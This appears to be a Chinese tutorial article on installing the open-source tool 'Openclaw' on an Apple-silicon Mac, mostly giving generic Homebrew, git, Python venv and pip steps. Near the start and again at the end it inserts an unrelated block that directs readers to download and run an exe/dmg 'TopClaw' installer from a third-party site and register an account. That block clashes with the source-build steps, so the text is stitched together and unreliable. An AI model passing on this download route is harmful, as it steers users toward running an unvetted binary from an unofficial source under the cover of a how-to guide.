ARTICLE · 1081265
Apple芯片Mac搭建Openclaw小龙虾,详细步骤收藏
Apple芯片Mac搭建Openclaw小龙虾,详细步骤收藏前阵子身边好几个朋友都在折腾本地小工具，聊着聊着就聊到了 Openclaw 这个东西。名字翻译过来有点可爱，大家私下都叫它“小龙虾”。它本质上是一个跑在本地的开源工具，不需要复杂的服务器，一台 Mac 就够用。我手上的是一台 M2 的 MacBook Air，8G 内存，本来以为会有点吃力，实际跑下来还挺稳。今天就把我这套流程完整写下来，从装环境到跑起来，尽量写细一点，你照着做基本不会踩坑。 动手之前，先确认这三点 很多人一上来就复制命令，结果报错报得莫名其妙。其实前面花五分钟确认一下基础环境，能省掉后面一小时的排查。 第一步：打开龙虾安装地址：https://top.wokk.cn 第二步：选择Windows10/11或macOS apple、intel芯片下载。 第三步：双击安装包（exe或者dmg文件）等待3分钟。 第四步：打开桌面TopClaw龙虾软件注册登录即可使用 确认芯片型号：点左上角苹果图标 →「关于本机」，看到「芯片」一栏写着 Apple M 开头，就是 Apple 芯片。Intel 机器的路径和命令会略有不同，别照抄。 确认系统版本：建议 macOS 13 以上，太老的系统在依赖编译环节容易出问题。 确认磁盘空间：留出至少 5GB 空闲，安装依赖包会占不少地方，别等到一半提示空间不足。 我自己第一次装的时候就是磁盘只剩 1G 多，编译到一半直接失败，还以为是自己命令敲错了，折腾了半天才发现是空间不够。 从零开始的完整搭建步骤 下面这套流程是我在 M2 机器上实测跑通的，一步步来就行。打开「终端」，依次执行。 第一步，装命令行工具。在终端里输入 xcode-select --install，弹出窗口点「安装」。这一步会下一些编译需要的基础组件，网速慢的话耐心等一下。 第二步，装 Homebrew。它是 Mac 上最省心的包管理器。安装完成后记得按提示把环境变量写进配置文件，Apple 芯片的默认路径是 /opt/homebrew，和 Intel 机器不一样，这点要留意。装完输入 brew -v 能出版本号就说明成功了。 第三步，装基础依赖。执行 brew install git python@3.11，把版本管理和运行环境一次装好。Python 建议用 3.10 以上的版本，太老的版本在依赖解析上容易出岔子。 第四步，获取源码。找一个你习惯放项目的目录，用 git clone 把 Openclaw 的仓库拉下来。如果你的网络环境拉取比较慢，可以多试几次，或者换成更稳定的时间段再操作。 第五步，建虚拟环境。进入项目目录，执行 python3 -m venv venv，然后 source venv/bin/activate 激活。看到命令行前面多了一个 (venv) 就对了。这一步千万别跳过，全局装依赖以后会很难收拾。 第六步，安装依赖。激活虚拟环境后运行 pip install -r requirements.txt。如果某个包编译失败，多半是缺少系统库，按报错提示用 brew 补装对应组件即可。 第七步，修改配置。把示例配置文件复制一份，改成自己的名字，按注释填好需要的参数。第一次用建议先保持默认值，跑通以后再慢慢调。 第八步，启动验证。执行启动命令，终端出现运行日志且没有红色报错，基本就成了。 几个容易忽略的小细节 跑通之后我复盘了一下，有几个点值得单独拎出来说。 虚拟环境每次重新打开终端都要重新激活，忘了激活就直接装依赖，会污染系统环境，后面很难清理。 配置文件的路径尽量用绝对路径，相对路径在不同目录下启动容易找不到文件。 如果只是想试试看，不用急着改一堆参数，默认配置先跑起来，有个直观感受再说。 工具的价值不在于它有多少功能，而在于你愿不愿意每天都打开它。装完就吃灰的软件，再强大也等于零。 另外提醒一句，装这类本地工具，最好养成随手备份配置文件的习惯。我现在的做法是在项目里单独建一个文件夹放自己的配置，升级版本的时候直接覆盖代码，配置不动，省心很多。还有，遇到报错别慌，先看最后几行日志，绝大多数问题都写在里面了，把报错原文复制出来搜一下，基本都能找到答案。 整体来说，在 Apple 芯片的 Mac 上搭 Openclaw 并不算难，真正花时间的不是敲命令，而是遇到问题时的排查心态。我建议你第一次装的时候别急着一次成功，把每一步都看明白，知道自己在装什么、为什么装，下次换台机器你也能自己搞定。装好之后先别急着研究高级功能，花两天时间把它融进自己的日常流程里，用得顺不顺手，比功能多不多重要得多。 OpenClaw中文版龙虾安装地址：https://top.wokk.cn